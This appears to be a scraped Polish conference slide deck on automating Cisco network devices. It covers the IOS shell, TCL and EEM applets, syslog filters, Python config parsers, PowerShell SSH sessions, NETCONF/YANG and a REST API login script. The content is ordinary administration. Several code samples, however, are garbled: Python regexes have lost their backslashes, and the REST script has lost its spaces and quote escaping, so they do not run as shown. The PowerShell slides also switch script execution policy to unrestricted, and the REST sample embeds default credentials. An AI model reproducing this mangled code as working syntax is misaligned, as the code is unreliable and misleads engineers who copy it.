Oct 25 2016 by rsl […]
  • 18. 18 Dla tych co chcą wiedzieć więcej Dowolna dokumentacja / kurs TCL Jakaś lepsza lub gorsza książka Akurat ta ma pewne zalety Interpreter TCL POPROGRAMUJMY
  • 19. 19 Podzbiór komend shellowych dostępny w IOS http://www.cisco.com/c/en/us/td/docs/ios/netmgmt/configuration/guide/Convert/IOS_Shell.html Trzeba ładnie poprosić #terminal shell, a potem… IOS shell Cisco#echo The command you have entered is available in the IOS.sh. However, the shell is currently disabled. You can enable it on this terminal by typing 'term shell' You can also enable it for all terminals by configuring the 'shell processing full' command. There is additional information in the man command. For more information, enable shell, and then enter: 'man IOS.sh' Cisco#term shell Cisco#AA=1234 Cisco#echo $AA 1234
  • 20. 20 …a potem już jest fajniej! Konfiguracja w postaci parametryzowanych skryptów Przygotowujemy konfigurację w notatniku Uwaga: użycie w trybie konfiguracji wymaga dodatkowej komendy (config)# shell processing full IOS shell term shell A=3 B=4 conf t shell processing full int vlan 300$A ip add 10.0.$A$B.$A 255.255.255.0 ipv6 add 2001:db8:100:"$A""$B"::"$A"/64 end
  • 21. 21 Copy-paste i do przodu! IOS shell Cisco#term shell Cisco#A=3 Cisco#B=4 Cisco#conf t Enter configuration commands, one per line. End with CNTL/Z. Cisco(config)#shell processing full Cisco(config)#int vlan 300$A Cisco(config-if)# ip add 10.0.$A$B.$A 255.255.255.0 Cisco(config-if)# ipv6 add 2001:db8:100:"$A""$B"::"$A"/64 Cisco(config-if)#end Cisco# Cisco#sh run in vl 3003 Building configuration... Current configuration : 98 bytes ! interface Vlan3003 ip address 10.0.34.3 255.255.255.0 ipv6 address 2001:DB8:100:34::3/64 end
  • 22. 22 A taki, na przykład, output można teraz przetwarzać potokowo Pętle, warunki, funkcje, zmienne, regexp, sortowanie… IOS shell Cisco#show ip route Gateway of last resort is 10.139.254.53 to network 0.0.0.0 O*E2 0.0.0.0/0 [110/1] via 10.139.254.53, 7w0d, Vlan151 10.0.0.0/8 is variably subnetted, 236 subnets, 12 masks S 10.0.0.0/8 [1/0] via 10.133.20.5 O E2 10.0.0.0/24 [110/20] via 10.139.254.62, 7w0d, Vlan153 S 10.0.0.0/26 [1/0] via 10.133.240.21 O E2 10.10.0.0/16 [110/100] via 10.139.254.53, 7w0d, Vlan151 O E2 10.11.1.0/24 [110/100] via 10.139.254.53, 7w0d, Vlan151 […] Cisco#show ip route Cisco#show ip route | grep 'Vlan15[13]' | wc -l 212
  • 23. 23 Programowanie sterowane zdarzeniami (event-driven) Kod wywoływany przez detektor zdarzeń (event detector) Kod w apletach wbudowanych w konfigurację oraz w języku TCL (zewnętrzne pliki) Więcej do szczęścia nie potrzeba Dostępny w IOS, IOS-XR, NX-OS oraz ASA Embedded Event Manager (EEM)
  • 25. 25 Po pojawieniu się trasy z OSPF do danej podsieci, badamy dostępność testowego hosta, a następnie wyłączamy trasę zapasową prowadzącą poprzez tunel Przykładowy aplet EEM w CLI Cisco#sh run | s event manager event manager applet watch event routing network 10.1.1.0/24 type add protocol OSPF action A010 cli command "enable" action A020 set done "0" action A030 while $done eq 0 action A040 wait 5 action A050 cli command "ping ip 10.1.1.1" action A060 regexp "!!!!!" "$_cli_result" action A070 if $_regexp_result eq "1" action A080 cli command "conf t" action A090 cli command "int tunnel 0" action A100 cli command "shut" action A110 cli command "end" action A120 set done "1" action A130 end action A140 end
  • 26. 26 Błąd uwierzytelniania RSVP powoduje wyłączenie interfejsu Przykładowy aplet EEM w TCL (fragment) ::cisco::eem::event_register_syslog pattern "%ROUTING-RSVP-5-BAD_RSVP_MSG_RCVD_AUTH_KEY" maxrun_sec 600 set errorInfo "" namespace import ::cisco::eem::* namespace import ::cisco::lib::* […] if {[regexp {.* (.*0/.*/.*/[0-9]*).*} $syslog_msg match location]} { if [catch {cli_exec $cli1(fd) "int $location"} result] { error $result $errorInfo } if [catch {cli_exec $cli1(fd) "shut"} result] { error $result $errorInfo } if [catch {cli_exec $cli1(fd) "commit"} result] { error $result $errorInfo } } if [catch {cli_close $cli1(fd) $cli1(tty_id)} result] { error $result $errorInfo } action_syslog priority emergencies msg "$location was shut because of EEM "
  • 28. 28 Selektywne procesowanie komunikatów syslog każdego z kanałów poprzez filtry Filtry na bazie: Wyrażeń regularnych (discriminator) Skryptów TCL (filter) Embedded Syslog Manager (ESM)
  • 29. 29 Logowanie do hosta syslog tylko zmian konfiguracyjnych Przykład użycia ESM Cisco# more bootflash:/log_filter.tcl # syslog message filter if {[string compare -nocase "CONFIG_I" $::mnemonic] == 0 || [string compare -nocase "CONFIG" $::mnemonic] == 0} { return $::orig_msg } Cisco#sh run | in logg logging filter bootflash:/log_filter.tcl logging host 1.1.1.1 filtered logging host 10.133.0.3
  • 31. 31 Owijanie CLI Pythonem Moduły Python ciscoconfparse / pyiosxr PowerShell II. Programowanie CLI
  • 32. 32 Doskonały język ogólnego przeznaczenia Idealny do pisania skryptów dla sieciowca i nie tylko Świetne możliwości przetwarzania tekstów – idealne dla CLI Rozszerzalny - moduły Preferowany przez wielu dostawców – gotowe biblioteki API W sieci jest wiele kursów i tutoriali skierowanych do inżynierów sieciowych ($$$ oraz za darmo) Python forever!
  • 33. 33 Przykładowy fragment skryptu obrabiającego wyniki komend Cisco IOS/NX-OS/IOS-XR / Juniper / Huawei Python forever! def ParseVersion(device): result = device.RunShowCmd('show version') versions = [ n.strip(" ") for n in result.splitlines() if n.startswith("Cisco") ] versioninfo = [ v.strip(" ") for v in versions[0].split(",")] print versioninfo[2] def ParseHostname(device): if system == "Junos": global hostname print hostname else: result = device.RunShowCmd('show version') if len ([ n for n in result.splitlines() if re.match("^S.*(NX-OS)",n)]) >0: #print "Nexus" hline = [ n.strip(" ") for n in result.splitlines() if re.match("s*Device name:",n)] hostname = [ v for v in hline[0].split(" ")] print hostname[2] else: #print "IOS" hline = [ n.strip(" ") for n in result.splitlines() if re.match("s*S+suptime",n)] hostname = [ v for v in hline[0].split(" ")] if hostname[0]: print hostname[0] else: print hostname[1]
  • 34. 34 I jego użycie: hurtowe pobieranie konfiguracji urządzeń z listy Python forever! rslaski@kali:~$ cat getconfig #!/bin/bash if [ "$#" -ne 1 ]; then echo "./getconfig <ip_list_file>" exit fi echo "Starting with file $1" mkdir "configs_$1" cat $1 | while read IP do echo -n "Getting config for $IP: " HOST=`./cmd1 -d $IP -p 'hostname'` HOSTFILE="$HOST-$(date +%Y%m%d-%H%M).cfg" echo -n "$HOSTFILE..." ./cmd1 -d $IP -c 'show config' >> "configs_$1/$HOSTFILE" echo " done!" done echo "Finished with file $1"
  • 35. 35 Biblioteka python do manipulacji hierarchicznymi konfiguracjami IOS https://github.com/mpenning/ciscoconfparse Przykładowo: zrzut elementów konfiguracji Cisco ASA do pliku CSV Python ciscoconfparse from ciscoconfparse import CiscoConfParse def object_network(conf): print "Object network name,Description, IP address, NAT, NAT (cd)" parse = CiscoConfParse(conf,syntax='asa') nets=parse.find_objects(r'^objectsnetworks') for item in nets: try: #network = item.re_match_iter_typed(regex=r'subnets(S+s+S+)',result_type=IPv4Obj) network = item.re_match_iter_typed(regex=r'subnets(S+)',result_type=str) except: network = None if network is not None: objectName = item.re_match_typed(regex=r'^objectsnetworks(S+)',default='UNKNOWN') addrIP= item.re_match_iter_typed(regex=r'hosts(.*)',default='UNKNOWN') desc = item.re_match_iter_typed(regex=r'descriptions(.*)',default='UNKNOWN') nat = item.re_match_iter_typed(regex=r'nats(.+$)',default='UNKNOWN') print objectName,',',desc,',', addrIP,',',nat
  • 36. 36 Jest by default dostępny w Windows Dostępny też dla Linuxa i MacOS Potężne narzędzie do pracy terminalowej, skryptowej, programistycznej i nie tylko Rozszerzalny (moduły, DLL) Każdy spec od Windows zna PowerShella Wystarczy zamiast ’cmd’ napisać ’powershell’  W Windows 7 domyślnie jest PS 2.0, należy pobrać i zainstalować Windows Management Framework w wersji co najmniej 5.0 PowerShell PS C:Usersrslaski> $PSVersionTable.PSVersion Major Minor Build Revision ----- ----- ----- -------- 5 0 10586 117
  • 37. 37 Dostępne jest też graficzne środowisko skryptowe ISE (Integrated Scripting Environment) PowerShell
  • 38. 38 Instalujemy bibliotekę SSH.NET Pierwsze zabawy z PowerShell PS C:Program Files (x86)WindowsPowerShellModules> Install-Module -name SSHSessions -RequiredVersion 1.7 Untrusted repository You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the modules from 'PSGallery'? [Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): y PS C:Program Files (x86)WindowsPowerShellModules> get-module -ListAvailable Directory: C:Program FilesWindowsPowerShellModules ModuleType Version Name ExportedCommands ---------- ------- ---- ---------------- Binary 1.0.0.1 PackageManagement {Find-Package, Get-Package, Get-PackageProvider, Script 1.0.0.1 PowerShellGet {Install-Module, Find-Module, Save-Module, Script 1.7 SSHSessions {New-SshSession, Invoke-SshCommand, Enter-
  • 39. 39 Nie można zapomnieć o wyłączeniu restrykcji uruchamiania skryptów Pierwsze zabawy z PowerShell PS C:Usersrslaski> Get-ExecutionPolicy Restricted PS C:Usersrslaski> Set-ExecutionPolicy unrestricted Execution Policy Change The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose you to the security risks described in the about_Execution_Policies help topic at http://go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy? [Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): y PS C:Usersrslaski> Get-ExecutionPolicy Unrestricted
  • 40. 40 Wreszcie możemy nawiązać połączenie SSH z naszą zabawką Tada! Możemy porozmawiać! Pierwsze zabawy z PowerShell PS C:Usersrslaski> $hostname = "10.133.0.3" PS C:Usersrslaski> $username = "rsl" PS C:Usersrslaski> $password = "<removed>" PS C:Usersrslaski> New-Sshsession -computername $hostname -username $username -password $password Successfully connected to 10.133.0.251 PS C:Usersrslaski> $Result = Invoke-SshCommand -InvokeOnAll -Command "show version" 10.133.0.251: ********************************************* ** ** ** CAT1-NETLAB ** ** ZANIM COS SPIEPRZYSZ, POMYSL DWA RAZY ** ** netlab@atende.pl ** ** ** ********************************************* Cisco IOS Software, C3750E Software (C3750E-UNIVERSALK9-M), Version 15.0(2)SE4, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2013 by Cisco Systems, Inc. […]
  • 41. PowerShell konkurs! 41 Jak nazywa się graficzne środowisko skryptowe dla PowerShella? POPROGRAMUJMY
  • 43. 43 onePK NETCONF / YANG JSON / XML REST API […] III. Programowanie na całego, czyli żegnaj CLI
  • 44. 44 Pierwszy poważny interfejs programistyczny API do współpracy z urządzeniami Cisco różnych systemów operacyjnych onePK (One Platform Kit)
  • 46. 46 Niestety wszystko co dobre, szybko się kończy A może po prostu nie było aż takie dobre? onePK
  • 47. 47 Ustandaryzowany (IETF RFC 6241) sposób wymiany danych konfiguracyjnych z urządzeniem Cztery warstwy stosu protokołów Jako transport wykorzystujemy SSH Zaś jako komunikaty: RPC NETCONF
  • 48. 48 Dostępne operacje na danych NETCONF
  • 49. 49 Zaś dane to czysty XML NETCONF POPROGRAMUJMY
  • 50. 50 Dwa równorzędne formaty notacji danych XML (eXtended Markup Language) JSON (JavaScript Object Notation) Różnica w czytelności (człowiek) i efektywności zapisu (maszyna) JSON / XML http://www.cisco.com/c/dam/global/cs_cz/assets/ciscoconnect/2014/assets/tech_sdn10_sp_netconf_yang_restconf_martinkramolis.pdf
  • 51. 51 Uruchamiamy Netconf przez SSH I pierwsze powitanie (capabilities) NETCONF – pierwsza krew Cisco#conf t Cisco(config)#netconf ssh Cisco(config)#^Z [rsl@lab-mgmt ~]$ ssh rsl@10.133.251.40 -s netconf Password: <?xml version="1.0" encoding="UTF-8"?> <hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"> <capabilities> <capability>urn:ietf:params:netconf:base:1.0</capability> <capability>urn:ietf:params:netconf:capability:writeable-running:1.0</capability> <capability>urn:ietf:params:netconf:capability:rollback-on-error:1.0</capability> <capability>urn:ietf:params:netconf:capability:startup:1.0</capability> <capability>urn:ietf:params:netconf:capability:url:1.0</capability> <capability>urn:cisco:params:netconf:capability:pi-data-model:1.0</capability> <capability>urn:cisco:params:netconf:capability:notification:1.0</capability> </capabilities> <session-id>1140327340</session-id> </hello>]]>]]>
  • 52. 52 Powitanie (capabilities) z naszej strony A jak ładnie poprosimy o konfigurację… NETCONF – pierwsza krew <?xml version="1.0" encoding="UTF-8"?> <hello> <capabilities> <capability>urn:ietf:params:netconf:base:1.0</capability> </capabilities> </hello>]]>]]> <?xml version="1.0" encoding="UTF-8"?> <nc:rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"> <nc:get-config> <source> <running/> </source> </nc:get-config> </nc:rpc>
  • 53. 53 NETCONF – pierwsza krew <?xml version="1.0" encoding="UTF-8"?> <rpc-reply message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"> <data> <cli-config-data-block> ! Last configuration change at 04:41:21 CET Mon Mar 5 2017 by rsl ! NVRAM config last updated at 17:35:06 CEST Tue Oct 25 2016 by rsl ! version 15.5 service tcp-keepalives-in service tcp-keepalives-out […] </cli-config-data-block> </data> </rpc-reply> ]]>]]> …to ją dostaniemy
  • 54. 54 NETCONF – pierwsza krew <?xml version="1.0" encoding="UTF-8"?> <nc:rpc message-id="102" xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0"> <nc:get> <nc:filter type="subtree"> <native xmlns="http://cisco.com/ns/yang/ned/ios"> <interface> <GigabitEthernet> <name>0</name> <ip></ip> </GigabitEthernet> </interface> </native> </nc:filter> </nc:get> </nc:rpc> ]]>]]> Największa zaleta – strukturalizacja obiektów Wada – brak definicji modeli danych Modele dostarczane są dzięki językowi modelowania danych YANG
  • 55. 55 NETCONF – pierwsza krew <?xml version="1.0" encoding="UTF-8"?> <rpc-reply xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="102"> <data> <native xmlns="http://cisco.com/ns/yang/ned/ios"> <interface> <GigabitEthernet> <name>0</name> <ip> <address> <primary> <address>10.1.1.1</address> <mask>255.255.255.0</mask> </primary> </address> </ip> </GigabitEthernet> </interface> </native> </data> </rpc-reply> ]]>]]> Największa zaleta – strukturalizacja obiektów
  • 56. 56 NETCONF+ ./netconf-console --user=rsl--password=<x> --host=10.133.251.40 --port=22 –hello Zamiast babrać się w terminalu, można użyć dedykowanej biblioteki confD, https://developer.cisco.com/site/confD/downloads/ oraz narzędzi jak netconf-console, w tym wersje w Pythonie (ncc) https://github.com/CiscoDevNet/ncc Nadal rozmawiamy XMLem, ale ciut łatwiej Na przykład pobranie konfiguracji hostname ./netconf-console --user=rsl--password=<x> --host=10.133.251.40 --port=22 --get-config ./netconf-console --host 10.133.251.40 -u rsl -p <x> --get-config --x /native/hostname <?xml version="1.0" encoding="UTF-8"?> <rpc-reply xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="1"> <data> <native xmlns="urn:ios"> <hostname>Cisco</hostname> </native> </data> </rpc-reply>
  • 57. 57 Język opisu modeli danych, RFC 6020 YANG https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
  • 59. 59 Modele danych opisane w standardach (jak poniżej) lub dostarczane przez vendorów Interface Data Model, RFC7223 YANG +--rw interfaces | +--rw interface* [name] | +--rw name string | +--rw description? string | +--rw type identityref | +--rw enabled? boolean | +--rw link-up-down-trap-enable? enumeration +--ro interfaces-state +--ro interface* [name] +--ro name string +--ro type identityref +--ro admin-status enumeration +--ro oper-status enumeration +--ro last-change? yang:date-and-time +--ro if-index int32 +--ro phys-address? yang:phys-address +--ro higher-layer-if* interface-state-ref +--ro lower-layer-if* interface-state-ref +--ro speed? yang:gauge64 +--ro statistics +--ro discontinuity-time yang:date-and-time +--ro in-octets? yang:counter64 +--ro in-unicast-pkts? yang:counter64 +--ro in-broadcast-pkts? yang:counter64 +--ro in-multicast-pkts? yang:counter64 +--ro in-discards? yang:counter32 +--ro in-errors? yang:counter32 +--ro in-unknown-protos? yang:counter32
  • 60. 60 Fragment konfiguracji routera Cisco i jej odpowiednik w modelu YANG YANG https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
  • 61. 61 A tu konkretna reprezentacja w formacie XML oraz JSON YANG https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
  • 62. 62 REST (Representational State Transfer) API Każdy obiekt w drzewie ma swoją lokalizację Standardowe metody HTTP do obsługi Dane formatowane jako XML lub JSON Polecam zabawę z REST API na Cisco ASR 1000 lub CSR 1000v http://www.cisco.com/c/en/us/td/docs/routers/csr1000/software/restapi/restapi.html REST API https://10.133.251.40/api/v1/interfaces/gigabitEthernet0
  • 63. 63 Biblioteki do programowania z użyciem REST API (tu użyciem Python) REST API importrequests importsys login_cookies=0 deflogin(): #Login(POSThttp://1.2.3.4/api/aaaLogin.xml) globallogin_cookies try: r=requests.post( url="http://1.2.3.4/api/aaaLogin.xml", data="<aaaUsername="admin"pwd="cisco123"/>" ) login_cookies=r.cookies exceptrequests.exceptions.RequestExceptionase: print('LoginHTTPRequestfailed') defnew_tenant(tenant_name): globallogin_cookies try: r=requests.post( url="http://1.2.3.4/api/node/mo/uni/tn-"+tenant_name+".json", data="{"fvTenant":{"attributes":{"dn":"uni/tn- "+tenant_name+"","name":""+tenant_name+"","rn":"tn- "+tenant_name+"","status":"created"},"children":[]}}", cookies=login_cookies ) exceptrequests.exceptions.RequestExceptionase: print('CreatetenantHTTPRequestfailed') login() new_tenant(sys.argv[1])
  • 64. 64 Praktyczną walką z REST-API para się też ostatnio Piotr Wojciechowski https://ccieplayground.wordpress.com/tag/rest-api/ REST API
  • 65. 65 Chodźcie, porozmawiamy! największa społeczność Cisco w Europie ponad 8300 użytkowników silny zespół: 3 głównych adminów Admin aplikacji 3 adminów serwerów 3 moderatorów członkami jest ponad 60 polskich CCIE – 20 z nich udzielających się aktywnie 100 tematów co miesiąc 800 postów co miesiąc dostępna sekcja anglojęzyczna